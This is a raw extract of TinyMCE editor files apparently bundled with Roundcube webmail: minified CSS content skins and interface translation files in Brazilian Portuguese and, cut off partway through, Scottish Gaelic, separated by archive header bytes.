ul{margin-left:3px}.mce-visualblocks[dir=rtl] address,.mce-visualblocks[dir=rtl] article,.mce-visualblocks[dir=rtl] aside,.mce-visualblocks[dir=rtl] blockquote,.mce-visualblocks[dir=rtl] div:not([data-mce-bogus]),.mce-visualblocks[dir=rtl] dl,.mce-visualblocks[dir=rtl] figcaption,.mce-visualblocks[dir=rtl] figure,.mce-visualblocks[dir=rtl] h1,.mce-visualblocks[dir=rtl] h2,.mce-visualblocks[dir=rtl] h3,.mce-visualblocks[dir=rtl] h4,.mce-visualblocks[dir=rtl] h5,.mce-visualblocks[dir=rtl] h6,.mce-visualblocks[dir=rtl] hgroup,.mce-visualblocks[dir=rtl] ol,.mce-visualblocks[dir=rtl] p,.mce-visualblocks[dir=rtl] pre,.mce-visualblocks[dir=rtl] section,.mce-visualblocks[dir=rtl] ul{background-position-x:right;margin-right:3px}.mce-nbsp,.mce-shy{background:#aaa}.mce-shy::after{content:'-'}
PK
h�\fa��5program/js/tinymce/skins/content/dark/content.min.cssnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 */
body{background-color:#2f3742;color:#dfe0e4;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Oxygen,Ubuntu,Cantarell,'Open Sans','Helvetica Neue',sans-serif;line-height:1.4;margin:1rem}a{color:#4099ff}table{border-collapse:collapse}table:not([cellpadding]) td,table:not([cellpadding]) th{padding:.4rem}table[border]:not([border="0"]):not([style*=border-width]) td,table[border]:not([border="0"]):not([style*=border-width]) th{border-width:1px}table[border]:not([border="0"]):not([style*=border-style]) td,table[border]:not([border="0"]):not([style*=border-style]) th{border-style:solid}table[border]:not([border="0"]):not([style*=border-color]) td,table[border]:not([border="0"]):not([style*=border-color]) th{border-color:#6d737b}figure{display:table;margin:1rem auto}figure figcaption{color:#8a8f97;display:block;margin-top:.25rem;text-align:center}hr{border-color:#6d737b;border-style:solid;border-width:1px 0 0 0}code{background-color:#6d737b;border-radius:3px;padding:.1rem .2rem}.mce-content-body:not([dir=rtl]) blockquote{border-left:2px solid #6d737b;margin-left:1.5rem;padding-left:1rem}.mce-content-body[dir=rtl] blockquote{border-right:2px solid #6d737b;margin-right:1.5rem;padding-right:1rem}
PK
h�\;|l���9program/js/tinymce/skins/content/document/content.min.cssnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 */
@media screen{html{background:#f4f4f4;min-height:100%}}body{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Oxygen,Ubuntu,Cantarell,'Open Sans','Helvetica Neue',sans-serif}@media screen{body{background-color:#fff;box-shadow:0 0 4px rgba(0,0,0,.15);box-sizing:border-box;margin:1rem auto 0;max-width:820px;min-height:calc(100vh - 1rem);padding:4rem 6rem 6rem 6rem}}table{border-collapse:collapse}table:not([cellpadding]) td,table:not([cellpadding]) th{padding:.4rem}table[border]:not([border="0"]):not([style*=border-width]) td,table[border]:not([border="0"]):not([style*=border-width]) th{border-width:1px}table[border]:not([border="0"]):not([style*=border-style]) td,table[border]:not([border="0"]):not([style*=border-style]) th{border-style:solid}table[border]:not([border="0"]):not([style*=border-color]) td,table[border]:not([border="0"]):not([style*=border-color]) th{border-color:#ccc}figure figcaption{color:#999;margin-top:.25rem;text-align:center}hr{border-color:#ccc;border-style:solid;border-width:1px 0 0 0}.mce-content-body:not([dir=rtl]) blockquote{border-left:2px solid #ccc;margin-left:1.5rem;padding-left:1rem}.mce-content-body[dir=rtl] blockquote{border-right:2px solid #ccc;margin-right:1.5rem;padding-right:1rem}
PK
h�\M��1��7program/js/tinymce/skins/content/writer/content.min.cssnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 */
body{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Oxygen,Ubuntu,Cantarell,'Open Sans','Helvetica Neue',sans-serif;line-height:1.4;margin:1rem auto;max-width:900px}table{border-collapse:collapse}table:not([cellpadding]) td,table:not([cellpadding]) th{padding:.4rem}table[border]:not([border="0"]):not([style*=border-width]) td,table[border]:not([border="0"]):not([style*=border-width]) th{border-width:1px}table[border]:not([border="0"]):not([style*=border-style]) td,table[border]:not([border="0"]):not([style*=border-style]) th{border-style:solid}table[border]:not([border="0"]):not([style*=border-color]) td,table[border]:not([border="0"]):not([style*=border-color]) th{border-color:#ccc}figure{display:table;margin:1rem auto}figure figcaption{color:#999;display:block;margin-top:.25rem;text-align:center}hr{border-color:#ccc;border-style:solid;border-width:1px 0 0 0}code{background-color:#e8e8e8;border-radius:3px;padding:.1rem .2rem}.mce-content-body:not([dir=rtl]) blockquote{border-left:2px solid #ccc;margin-left:1.5rem;padding-left:1rem}.mce-content-body[dir=rtl] blockquote{border-right:2px solid #ccc;margin-right:1.5rem;padding-right:1rem}
PK
h�\*C�ww8program/js/tinymce/skins/content/default/content.min.cssnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 */
body{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Oxygen,Ubuntu,Cantarell,'Open Sans','Helvetica Neue',sans-serif;line-height:1.4;margin:1rem}table{border-collapse:collapse}table:not([cellpadding]) td,table:not([cellpadding]) th{padding:.4rem}table[border]:not([border="0"]):not([style*=border-width]) td,table[border]:not([border="0"]):not([style*=border-width]) th{border-width:1px}table[border]:not([border="0"]):not([style*=border-style]) td,table[border]:not([border="0"]):not([style*=border-style]) th{border-style:solid}table[border]:not([border="0"]):not([style*=border-color]) td,table[border]:not([border="0"]):not([style*=border-color]) th{border-color:#ccc}figure{display:table;margin:1rem auto}figure figcaption{color:#999;display:block;margin-top:.25rem;text-align:center}hr{border-color:#ccc;border-style:solid;border-width:1px 0 0 0}code{background-color:#e8e8e8;border-radius:3px;padding:.1rem .2rem}.mce-content-body:not([dir=rtl]) blockquote{border-left:2px solid #ccc;margin-left:1.5rem;padding-left:1rem}.mce-content-body[dir=rtl] blockquote{border-right:2px solid #ccc;margin-right:1.5rem;padding-right:1rem}
PK
h�\��n�HH!program/js/tinymce/langs/pt_BR.jsnu�[���tinymce.addI18n('pt_BR',{
"Redo": "Refazer",
"Undo": "Desfazer",
"Cut": "Cortar",
"Copy": "Copiar",
"Paste": "Colar",
"Select all": "Selecionar tudo",
"New document": "Novo documento",
"Ok": "Ok",
"Cancel": "Cancelar",
"Visual aids": "Ajuda visual",
"Bold": "Negrito",
"Italic": "It\u00e1lico",
"Underline": "Sublinhado",
"Strikethrough": "Tachado",
"Superscript": "Sobrescrito",
"Subscript": "Subscrito",
"Clear formatting": "Limpar formata\u00e7\u00e3o",
"Align left": "Alinhar \u00e0 esquerda",
"Align center": "Centralizar",
"Align right": "Alinhar \u00e0 direita",
"Justify": "Justificar",
"Bullet list": "Lista n\u00e3o ordenada",
"Numbered list": "Lista ordenada",
"Decrease indent": "Diminuir recuo",
"Increase indent": "Aumentar recuo",
"Close": "Fechar",
"Formats": "Formatos",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Seu navegador n\u00e3o suporta acesso direto \u00e0 \u00e1rea de transfer\u00eancia. Por favor use os atalhos Ctrl+X - C - V do teclado",
"Headers": "Cabe\u00e7alhos",
"Header 1": "Cabe\u00e7alho 1",
"Header 2": "Cabe\u00e7alho 2",
"Header 3": "Cabe\u00e7alho 3",
"Header 4": "Cabe\u00e7alho 4",
"Header 5": "Cabe\u00e7alho 5",
"Header 6": "Cabe\u00e7alho 6",
"Headings": "T\u00edtulos",
"Heading 1": "T\u00edtulo 1",
"Heading 2": "T\u00edtulo 2",
"Heading 3": "T\u00edtulo 3",
"Heading 4": "T\u00edtulo 4",
"Heading 5": "T\u00edtulo 5",
"Heading 6": "T\u00edtulo 6",
"Preformatted": "Pr\u00e9-formatado",
"Div": "Div",
"Pre": "Pre",
"Code": "C\u00f3digo",
"Paragraph": "Par\u00e1grafo",
"Blockquote": "Aspas",
"Inline": "Em linha",
"Blocks": "Blocos",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "O comando colar est\u00e1 agora em modo texto plano. O conte\u00fado ser\u00e1 colado como texto plano at\u00e9 voc\u00ea desligar esta op\u00e7\u00e3o.",
"Fonts": "Fontes",
"Font Sizes": "Tamanhos da fonte",
"Class": "Classe",
"Browse for an image": "Procure uma imagem",
"OR": "OU",
"Drop an image here": "Solte uma imagem aqui",
"Upload": "Carregar",
"Block": "Bloco",
"Align": "Alinhamento",
"Default": "Padr\u00e3o",
"Circle": "C\u00edrculo",
"Disc": "Disco",
"Square": "Quadrado",
"Lower Alpha": "a. b. c. ...",
"Lower Greek": "\u03b1. \u03b2. \u03b3. ...",
"Lower Roman": "i. ii. iii. ...",
"Upper Alpha": "A. B. C. ...",
"Upper Roman": "I. II. III. ...",
"Anchor...": "\u00c2ncora...",
"Name": "Nome",
"Id": "Id",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "Id deve come\u00e7ar com uma letra, seguido apenas por letras, n\u00fameros, tra\u00e7os, pontos, dois pontos ou sublinhados.",
"You have unsaved changes are you sure you want to navigate away?": "Voc\u00ea tem mudan\u00e7as n\u00e3o salvas. Voc\u00ea tem certeza que deseja sair?",
"Restore last draft": "Restaurar \u00faltimo rascunho",
"Special character...": "Caractere especial...",
"Source code": "C\u00f3digo fonte",
"Insert\/Edit code sample": "Inserir\/Editar c\u00f3digo de exemplo",
"Language": "Idioma",
"Code sample...": "Exemplo de c\u00f3digo...",
"Color Picker": "Seletor de Cores",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "Da esquerda para a direita",
"Right to left": "Da direita para a esquerda",
"Emoticons": "Emoticons",
"Emoticons...": "Emojis...",
"Metadata and Document Properties": "Metadados e Propriedades do Documento",
"Title": "T\u00edtulo",
"Keywords": "Palavras-chave",
"Description": "Descri\u00e7\u00e3o",
"Robots": "Rob\u00f4s",
"Author": "Autor",
"Encoding": "Codifica\u00e7\u00e3o",
"Fullscreen": "Tela cheia",
"Action": "A\u00e7\u00e3o",
"Shortcut": "Atalho",
"Help": "Ajuda",
"Address": "Endere\u00e7o",
"Focus to menubar": "Foco no menu",
"Focus to toolbar": "Foco na barra de ferramentas",
"Focus to element path": "Foco no caminho do elemento",
"Focus to contextual toolbar": "Foco na barra de ferramentas contextual",
"Insert link (if link plugin activated)": "Inserir link (se o plugin de link estiver ativado)",
"Save (if save plugin activated)": "Salvar (se o plugin de salvar estiver ativado)",
"Find (if searchreplace plugin activated)": "Procurar (se o plugin de procurar e substituir estiver ativado)",
"Plugins installed ({0}):": "Plugins instalados ({0}):",
"Premium plugins:": "Plugins premium:",
"Learn more...": "Saiba mais...",
"You are using {0}": "Voc\u00ea est\u00e1 usando {0}",
"Plugins": "Plugins",
"Handy Shortcuts": "Atalhos \u00fateis",
"Horizontal line": "Linha horizontal",
"Insert\/edit image": "Inserir\/editar imagem",
"Alternative description": "Descri\u00e7\u00e3o alternativa",
"Accessibility": "Acessibilidade",
"Image is decorative": "A imagem \u00e9 decorativa",
"Source": "Endere\u00e7o da imagem",
"Dimensions": "Dimens\u00f5es",
"Constrain proportions": "Manter propor\u00e7\u00f5es",
"General": "Geral",
"Advanced": "Avan\u00e7ado",
"Style": "Estilo",
"Vertical space": "Espa\u00e7amento vertical",
"Horizontal space": "Espa\u00e7amento horizontal",
"Border": "Borda",
"Insert image": "Inserir imagem",
"Image...": "Imagem...",
"Image list": "Lista de Imagens",
"Rotate counterclockwise": "Girar em sentido hor\u00e1rio",
"Rotate clockwise": "Girar em sentido anti-hor\u00e1rio",
"Flip vertically": "Virar verticalmente",
"Flip horizontally": "Virar horizontalmente",
"Edit image": "Editar imagem",
"Image options": "Op\u00e7\u00f5es de Imagem",
"Zoom in": "Aumentar zoom",
"Zoom out": "Diminuir zoom",
"Crop": "Cortar",
"Resize": "Redimensionar",
"Orientation": "Orienta\u00e7\u00e3o",
"Brightness": "Brilho",
"Sharpen": "Aumentar nitidez",
"Contrast": "Contraste",
"Color levels": "N\u00edveis de cor",
"Gamma": "Gama",
"Invert": "Inverter",
"Apply": "Aplicar",
"Back": "Voltar",
"Insert date\/time": "Inserir data\/hora",
"Date\/time": "data\/hora",
"Insert\/edit link": "Inserir\/editar link",
"Text to display": "Texto para mostrar",
"Url": "Url",
"Open link in...": "Abrir link em...",
"Current window": "Janela atual",
"None": "Nenhum",
"New window": "Nova janela",
"Open link": "Abrir link",
"Remove link": "Remover link",
"Anchors": "\u00c2ncoras",
"Link...": "Link...",
"Paste or type a link": "Cole ou digite um Link",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "A URL que voc\u00ea informou parece ser um link externo. Deseja incluir o prefixo http:\/\/?",
"The URL you entered seems to be an external link. Do you want to add the required https:\/\/ prefix?": "A URL informada parece ser um link externo. Voc\u00ea quer adicionar o prefixo necess\u00e1rio https:\/\/ ?",
"Link list": "Lista de Links",
"Insert video": "Inserir v\u00eddeo",
"Insert\/edit video": "Inserir\/editar v\u00eddeo",
"Insert\/edit media": "Inserir\/editar imagem",
"Alternative source": "Fonte alternativa",
"Alternative source URL": "Endere\u00e7o URL alternativo",
"Media poster (Image URL)": "Post de m\u00eddia (URL da Imagem)",
"Paste your embed code below:": "Insira o c\u00f3digo de incorpora\u00e7\u00e3o abaixo:",
"Embed": "Incorporar",
"Media...": "M\u00eddia...",
"Nonbreaking space": "Espa\u00e7o n\u00e3o separ\u00e1vel",
"Page break": "Quebra de p\u00e1gina",
"Paste as text": "Colar como texto",
"Preview": "Pr\u00e9-visualizar",
"Print...": "Imprimir...",
"Save": "Salvar",
"Find": "Localizar",
"Replace with": "Substituir por",
"Replace": "Substituir",
"Replace all": "Substituir tudo",
"Previous": "Anterior",
"Next": "Pr\u00f3ximo",
"Find and Replace": "Localizar e substituir",
"Find and replace...": "Encontrar e substituir...",
"Could not find the specified string.": "N\u00e3o foi poss\u00edvel encontrar o termo especificado",
"Match case": "Diferenciar mai\u00fasculas e min\u00fasculas",
"Find whole words only": "Encontrar somente palavras inteiras",
"Find in selection": "Localizar na sele\u00e7\u00e3o",
"Spellcheck": "Corretor ortogr\u00e1fico",
"Spellcheck Language": "Idioma de verifica\u00e7\u00e3o ortogr\u00e1fica",
"No misspellings found.": "Sem erros ortogr\u00e1ficos",
"Ignore": "Ignorar",
"Ignore all": "Ignorar tudo",
"Finish": "Finalizar",
"Add to Dictionary": "Adicionar ao Dicion\u00e1rio",
"Insert table": "Inserir tabela",
"Table properties": "Propriedades da tabela",
"Delete table": "Excluir tabela",
"Cell": "C\u00e9lula",
"Row": "Linha",
"Column": "Coluna",
"Cell properties": "Propriedades da c\u00e9lula",
"Merge cells": "Agrupar c\u00e9lulas",
"Split cell": "Dividir c\u00e9lula",
"Insert row before": "Inserir linha antes",
"Insert row after": "Inserir linha depois",
"Delete row": "Excluir linha",
"Row properties": "Propriedades da linha",
"Cut row": "Recortar linha",
"Copy row": "Copiar linha",
"Paste row before": "Colar linha antes",
"Paste row after": "Colar linha depois",
"Insert column before": "Inserir coluna antes",
"Insert column after": "Inserir coluna depois",
"Delete column": "Excluir coluna",
"Cols": "Colunas",
"Rows": "Linhas",
"Width": "Largura",
"Height": "Altura",
"Cell spacing": "Espa\u00e7amento da c\u00e9lula",
"Cell padding": "Espa\u00e7amento interno da c\u00e9lula",
"Caption": "Legenda",
"Show caption": "Mostrar descri\u00e7\u00e3o",
"Left": "Esquerdo",
"Center": "Centro",
"Right": "Direita",
"Cell type": "Tipo de c\u00e9lula",
"Scope": "Escopo",
"Alignment": "Alinhamento",
"H Align": "Alinhamento H",
"V Align": "Alinhamento V",
"Top": "Superior",
"Middle": "Meio",
"Bottom": "Inferior",
"Header cell": "C\u00e9lula cabe\u00e7alho",
"Row group": "Agrupar linha",
"Column group": "Agrupar coluna",
"Row type": "Tipo de linha",
"Header": "Cabe\u00e7alho",
"Body": "Corpo",
"Footer": "Rodap\u00e9",
"Border color": "Cor da borda",
"Insert template...": "Inserir modelo...",
"Templates": "Modelos",
"Template": "Modelo",
"Text color": "Cor do texto",
"Background color": "Cor do fundo",
"Custom...": "Personalizado...",
"Custom color": "Cor personalizada",
"No color": "Nenhuma cor",
"Remove color": "Remover cor",
"Table of Contents": "\u00edndice de Conte\u00fado",
"Show blocks": "Mostrar blocos",
"Show invisible characters": "Exibir caracteres invis\u00edveis",
"Word count": "Contador de palavras",
"Count": "Contar",
"Document": "Documento",
"Selection": "Sele\u00e7\u00e3o",
"Words": "Palavras",
"Words: {0}": "Palavras: {0}",
"{0} words": "{0} palavras",
"File": "Arquivo",
"Edit": "Editar",
"Insert": "Inserir",
"View": "Visualizar",
"Format": "Formatar",
"Table": "Tabela",
"Tools": "Ferramentas",
"Powered by {0}": "Distribu\u00eddo por  {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "\u00c1rea de texto formatado. Pressione ALT-F9 para exibir o menu, ALT-F10 para exibir a barra de ferramentas ou ALT-0 para exibir a ajuda",
"Image title": "T\u00edtulo da imagem",
"Border width": "Espessura da borda",
"Border style": "Estilo da borda",
"Error": "Erro",
"Warn": "Aviso",
"Valid": "V\u00e1lido",
"To open the popup, press Shift+Enter": "Para abrir a popup, aperte Shit+Enter",
"Rich Text Area. Press ALT-0 for help.": "\u00c1rea Rich Text. Aperte ALT-0 para ajuda.",
"System Font": "Fonte do sistema",
"Failed to upload image: {0}": "Falha no upload da imagem: {0}",
"Failed to load plugin: {0} from url {1}": "Falha ao carregar plugin: {0} da url {1}",
"Failed to load plugin url: {0}": "Falha ao carregar url do plugin: {0}",
"Failed to initialize plugin: {0}": "Falha ao inicializar plugin: {0}",
"example": "exemplo",
"Search": "Pesquisar",
"All": "Tudo",
"Currency": "Moeda",
"Text": "Texto",
"Quotations": "Cita\u00e7\u00f5es",
"Mathematical": "Matem\u00e1tico",
"Extended Latin": "Latino estendido",
"Symbols": "S\u00edmbolos",
"Arrows": "Setas",
"User Defined": "Definido pelo Usu\u00e1rio",
"dollar sign": "s\u00edmbolo de d\u00f3lar",
"currency sign": "s\u00edmbolo de moeda",
"euro-currency sign": "s\u00edmbolo de euro",
"colon sign": "s\u00edmbolo de dois pontos",
"cruzeiro sign": "s\u00edmbolo de cruzeiro",
"french franc sign": "s\u00edmbolo de franco franc\u00eas",
"lira sign": "s\u00edmbolo de lira",
"mill sign": "s\u00edmbolo do mill",
"naira sign": "s\u00edmbolo da naira",
"peseta sign": "s\u00edmbolo da peseta",
"rupee sign": "s\u00edmbolo da r\u00fapia",
"won sign": "s\u00edmbolo do won",
"new sheqel sign": "s\u00edmbolo do novo sheqel",
"dong sign": "s\u00edmbolo do dong",
"kip sign": "s\u00edmbolo do kip",
"tugrik sign": "s\u00edmbolo do tugrik",
"drachma sign": "s\u00edmbolo do drachma",
"german penny symbol": "s\u00edmbolo de centavo alem\u00e3o",
"peso sign": "s\u00edmbolo do peso",
"guarani sign": "s\u00edmbolo do guarani",
"austral sign": "s\u00edmbolo do austral",
"hryvnia sign": "s\u00edmbolo do hryvnia",
"cedi sign": "s\u00edmbolo do cedi",
"livre tournois sign": "s\u00edmbolo do livre tournois",
"spesmilo sign": "s\u00edmbolo do spesmilo",
"tenge sign": "s\u00edmbolo do tenge",
"indian rupee sign": "s\u00edmbolo de r\u00fapia indiana",
"turkish lira sign": "s\u00edmbolo de lira turca",
"nordic mark sign": "s\u00edmbolo do marco n\u00f3rdico",
"manat sign": "s\u00edmbolo do manat",
"ruble sign": "s\u00edmbolo do rublo",
"yen character": "caractere do yen",
"yuan character": "caractere do yuan",
"yuan character, in hong kong and taiwan": "caractere do yuan, em Hong Kong e Taiwan",
"yen\/yuan character variant one": "varia\u00e7\u00e3o do caractere de yen\/yuan",
"Loading emoticons...": "Carregando emojis...",
"Could not load emoticons": "N\u00e3o foi poss\u00edvel carregar emojis",
"People": "Pessoas",
"Animals and Nature": "Animais e Natureza",
"Food and Drink": "Comida e Bebida",
"Activity": "Atividade",
"Travel and Places": "Viagem e Lugares",
"Objects": "Objetos",
"Flags": "Bandeiras",
"Characters": "Caracteres",
"Characters (no spaces)": "Caracteres (sem espa\u00e7os)",
"{0} characters": "{0} caracteres",
"Error: Form submit field collision.": "Erro: colis\u00e3o de bot\u00e3o de envio do formul\u00e1rio.",
"Error: No form element found.": "Erro: elemento de formul\u00e1rio n\u00e3o encontrado.",
"Update": "Atualizar",
"Color swatch": "Amostra de cor",
"Turquoise": "Turquesa",
"Green": "Verde",
"Blue": "Azul",
"Purple": "Roxo",
"Navy Blue": "Azul marinho",
"Dark Turquoise": "Turquesa escuro",
"Dark Green": "Verde escuro",
"Medium Blue": "Azul m\u00e9dio",
"Medium Purple": "Roxo m\u00e9dio",
"Midnight Blue": "Azul meia-noite",
"Yellow": "Amarelo",
"Orange": "Laranja",
"Red": "Vermelho",
"Light Gray": "Cinza claro",
"Gray": "Cinza",
"Dark Yellow": "Amarelo escuro",
"Dark Orange": "Laranja escuro",
"Dark Red": "Vermelho escuro",
"Medium Gray": "Cinza m\u00e9dio",
"Dark Gray": "Cinza escuro",
"Light Green": "Verde claro",
"Light Yellow": "Amarelo claro",
"Light Red": "Vermelho claro",
"Light Purple": "Roxo claro",
"Light Blue": "Azul claro",
"Dark Purple": "Roxo escuro",
"Dark Blue": "Azul escuro",
"Black": "Preto",
"White": "Branco",
"Switch to or from fullscreen mode": "Abrir ou fechar modo de tela cheia",
"Open help dialog": "Abrir janela de ajuda",
"history": "hist\u00f3rico",
"styles": "estilos",
"formatting": "formata\u00e7\u00e3o",
"alignment": "alinhamento",
"indentation": "indenta\u00e7\u00e3o",
"Font": "Fonte",
"Size": "Tamanho",
"More...": "Mais...",
"Select...": "Selecionar...",
"Preferences": "Prefer\u00eancias",
"Yes": "Sim",
"No": "N\u00e3o",
"Keyboard Navigation": "Navega\u00e7\u00e3o por Teclado",
"Version": "Vers\u00e3o",
"Code view": "Ver c\u00f3digo",
"Open popup menu for split buttons": "Abrir menu popup para bot\u00f5es com divis\u00e3o",
"List Properties": "Listar Propriedades",
"List properties...": "Listar propriedades...",
"Start list at number": "Iniciar a lista no n\u00famero",
"Line height": "Altura da linha",
"comments": "coment\u00e1rios",
"Format Painter": "Pincel de Formata\u00e7\u00e3o",
"Insert\/edit iframe": "Inserir\/editar iframe",
"Capitalization": "Capitaliza\u00e7\u00e3o",
"lowercase": "min\u00fasculos",
"UPPERCASE": "MAI\u00daSCULAS",
"Title Case": "T\u00edtulo do caso",
"permanent pen": "caneta permanente",
"Permanent Pen Properties": "Propriedades da caneta permanente",
"Permanent pen properties...": "Propriedades de caneta permanentes...",
"case change": "mudar caixa",
"page embed": "embutir p\u00e1gina",
"Advanced sort...": "Ordena\u00e7\u00e3o avan\u00e7ada...",
"Advanced Sort": "Ordena\u00e7\u00e3o Avan\u00e7ada...",
"Sort table by column ascending": "Ordenar tabela por coluna ascendente",
"Sort table by column descending": "Ordenar tabela por coluna descendente",
"Sort": "Ordenar",
"Order": "Ordem",
"Sort by": "Ordenar por",
"Ascending": "Ascendente",
"Descending": "Descendente",
"Column {0}": "Coluna {0}",
"Row {0}": "Linha {0}",
"Spellcheck...": "Verifica\u00e7\u00e3o ortogr\u00e1fica",
"Misspelled word": "Palavra com erro ortogr\u00e1fico",
"Suggestions": "Sugest\u00f5es",
"Change": "Mudar",
"Finding word suggestions": "Encontrando sugest\u00f5es de palavras",
"Success": "Sucesso",
"Repair": "Reparo",
"Issue {0} of {1}": "Problema {0} de {1}",
"Images must be marked as decorative or have an alternative text description": "Imagens precisam ser marcadas como decorativas ou terem uma descri\u00e7\u00e3o alternativa de texto",
"Images must have an alternative text description. Decorative images are not allowed.": "Imagens precisam ter uma descri\u00e7\u00e3o alternativa de texto. Imagens decorativas n\u00e3o s\u00e3o permitidas.",
"Or provide alternative text:": "Ou informe um texto alternativo:",
"Make image decorative:": "Fa\u00e7a imagem decorativa:",
"ID attribute must be unique": "O atributo ID precisa ser \u00fanico",
"Make ID unique": "Fa\u00e7a um ID \u00fanico",
"Keep this ID and remove all others": "Mantenha esse ID e remova todos os outros",
"Remove this ID": "Remova esse ID",
"Remove all IDs": "Remova todos os IDs",
"Checklist": "Lista de checagem",
"Anchor": "\u00c2ncora",
"Special character": "Caracteres especiais",
"Code sample": "Exemplo de c\u00f3digo",
"Color": "Cor",
"Document properties": "Propriedades do documento",
"Image description": "Inserir descri\u00e7\u00e3o",
"Image": "Imagem",
"Insert link": "Inserir link",
"Target": "Alvo",
"Link": "Link",
"Poster": "Autor",
"Media": "imagem",
"Print": "Imprimir",
"Prev": "Anterior",
"Find and replace": "Localizar e substituir",
"Whole words": "Palavras inteiras",
"Insert template": "Inserir modelo"
});PK
h�\�Zqsg"g"program/js/tinymce/langs/gd.jsnu�[���tinymce.addI18n('gd',{
"Cut": "Gearr \u00e0s",
"Heading 5": "Ceann-sgr\u00ecobhadh 5",
"Header 2": "Bann-cinn 2",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Chan eil am brabhsair agad a' cur taic ri inntrigeadh d\u00ecreach dhan st\u00f2r-bh\u00f2rd. Cleachd ath-ghoiridean a' mheur-chl\u00e0ir, Ctrl+X\/V\/V 'nan \u00e0ite.",
"Heading 4": "Ceann-sgr\u00ecobhadh 4",
"Div": "Div",
"Heading 2": "Ceann-sgr\u00ecobhadh 2",
"Paste": "Cuir ann",
"Close": "D\u00f9in",
"Font Family": "Teaghlach a' chrutha-chl\u00f2",
"Pre": "Pre",
"Align right": "Co-thaobhaich ris an l\u00e0imh dheas",
"New document": "Sgr\u00ecobhainn \u00f9r",
"Blockquote": "Bloc-luaidh",
"Numbered list": "Liosta \u00e0ireamhaichte",
"Heading 1": "Ceann-sgr\u00ecobhadh 1",
"Headings": "Ceann-sgr\u00ecobhaidhean",
"Increase indent": "Meudaich an eag",
"Formats": "F\u00f2rmatan",
"Headers": "Bannan-cinn",
"Select all": "Tagh na h-uile",
"Header 3": "Bann-cinn 3",
"Blocks": "Blocaichean",
"Undo": "Neo-dh\u00e8an",
"Strikethrough": "Loidhne troimhe",
"Bullet list": "Liosta pheilearaichte",
"Header 1": "Bann-cinn 1",
"Superscript": "Os-sgr\u00ecobhte",
"Clear formatting": "Falamhaich am f\u00f2rmatadh",
"Font Sizes": "Meudan nan cruthan-chl\u00f2",
"Subscript": "Bun-sgr\u00ecobhte",
"Header 6": "Bann-cinn 6",
"Redo": "Ath-dh\u00e8an",
"Paragraph": "Paragraf",
"Ok": "Ceart ma-th\u00e0",
"Bold": "Trom",
"Code": "C\u00f2d",
"Italic": "Eadailteach",
"Align center": "Co-thaobhaich ris a' mheadhan",
"Header 5": "Bann-cinn 5",
"Heading 6": "Ceann-sgr\u00ecobhadh 6",
"Heading 3": "Ceann-sgr\u00ecobhadh 3",
"Decrease indent": "Lughdaich an eag",
"Header 4": "Bann-cinn 4",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "Ma chuireas tu rud ann a-nis, th\u00e8id an t-susbaint a chur ann mar theacsa lom gus an cuir thu dheth an roghainn seo a-rithist.",
"Underline": "Fo-loidhne",
"Cancel": "Sguir dheth",
"Justify": "Blocaich",
"Inline": "Taobh a-staigh na loidhne",
"Copy": "D\u00e8an lethbhreac",
"Align left": "Co-thaobhaich ris an l\u00e0imh chl\u00ec",
"Visual aids": "Taic l\u00e8irsinne",
"Lower Greek": "Litrichean Greugach beaga",
"Square": "Ce\u00e0rnag",
"Default": "Bun-roghainn",
"Lower Alpha": "Aibidileach is beag",
"Circle": "Cearcall",
"Disc": "Diosga",
"Upper Alpha": "Aibidileach is m\u00f2r",
"Upper Roman": "\u00c0ireamhan R\u00f2manach is m\u00f2r",
"Lower Roman": "\u00c0ireamhan R\u00f2manach is beag",
"Name": "Ainm",
"Anchor": "Acair",
"You have unsaved changes are you sure you want to navigate away?": "Tha atharraichean gun s\u00e0bhaladh agad, a bheil thu cinnteach gu bheil thu airson gluasad air falbh?",
"Restore last draft": "Aisig an dreach mu dheireadh",
"Special character": "Caractar s\u00f2nraichte",
"Source code": "An c\u00f2d t\u00f9sail",
"B": "B",
"R": "R",
"G": "G",
"Color": "Dath",
"Right to left": "Deas gu cl\u00ec",
"Left to right": "Cl\u00ec gu deas",
"Emoticons": "Samhlaidhean-gn\u00f9ise",
"Robots": "Robotairean",
"Document properties": "Roghainnean na sgr\u00ecobhainne",
"Title": "Tiotal",
"Keywords": "Faclan-luirg",
"Encoding": "C\u00f2dachadh",
"Description": "Tuairisgeul",
"Author": "\u00d9ghdar",
"Fullscreen": "L\u00e0n-sgr\u00ecn",
"Horizontal line": "Loidhne ch\u00f2mhnard",
"Horizontal space": "\u00c0ite c\u00f2mhnard",
"Insert\/edit image": "Cuir a-steach\/Deasaich an dealbh",
"General": "Coitcheann",
"Advanced": "Adhartach",
"Source": "T\u00f9s",
"Border": "Iomall",
"Constrain proportions": "Cuingich na co-r\u00e8irean",
"Vertical space": "\u00c0ite inghearach",
"Image description": "Tuairisgeul an deilbh",
"Style": "Stoidhle",
